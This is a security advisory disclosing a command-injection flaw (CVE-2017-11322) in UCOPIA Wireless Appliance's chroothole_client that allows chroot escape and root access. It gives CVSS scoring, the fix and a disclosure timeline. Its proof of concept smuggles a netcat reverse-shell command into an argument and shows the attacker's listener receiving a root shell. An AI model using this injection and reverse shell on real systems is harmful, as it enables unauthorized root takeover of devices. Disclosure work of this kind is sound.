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The affected asset in this report is a WiFi management appliance.
CHROOT escape and privileges escalation.
Improper sanitization of system commands in the chroothole_client executable in UCOPIA Wireless Appliance, prior to 5.1.8, allows local attackers to elevate privileges to root user and escape from the chroot.
CVE ID: CVE-2017-11322
Access Vector: local
Security Risk: high
CVSS Base Score: 8.2 (High)
CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Proof of Concept: chroot escape / privileges escalation
The chroothole_client binary is used by the appliance to run programs outside the chroot, as the root user.
Because of an improper sanitization of system commands, we managed to gain a complete root access to the appliance, outside the chroot.
$ chroothole_client '/usr/sbin/status' is not running ... failed ! $ chroothole_client '/usr/sbin/status $(which nc)' /bin/nc is not running ... failed! $ chroothole_client '/usr/sbin/status $(nc 10.0.0.125 4444 -e /bin/sh)'
Attacker terminal :
$ ncat -lvp 4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.0.0.1:49156. whoami root
Update to UCOPIA 5.1.8
- 08/03/2017 : Vulnerability discovery.
- 03/05/2017 : Initial contact.
- 10/05/2017 : GPG Key exchange.
- 10/05/2017 : Advisory sent to vendor.
- 17/05/2017 : Request for feedback.
- 22/05/2017 : Vendor acknowledge the vulnerabilities.
- 21/06/2017 : Sysdream Labs request for an ETA, warning for public disclosure.
- 21/06/2017 : Vendor say that the UCOPIA 5.1.8 fixes the issue.
- 29/09/2017 : Public disclosure.
- Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)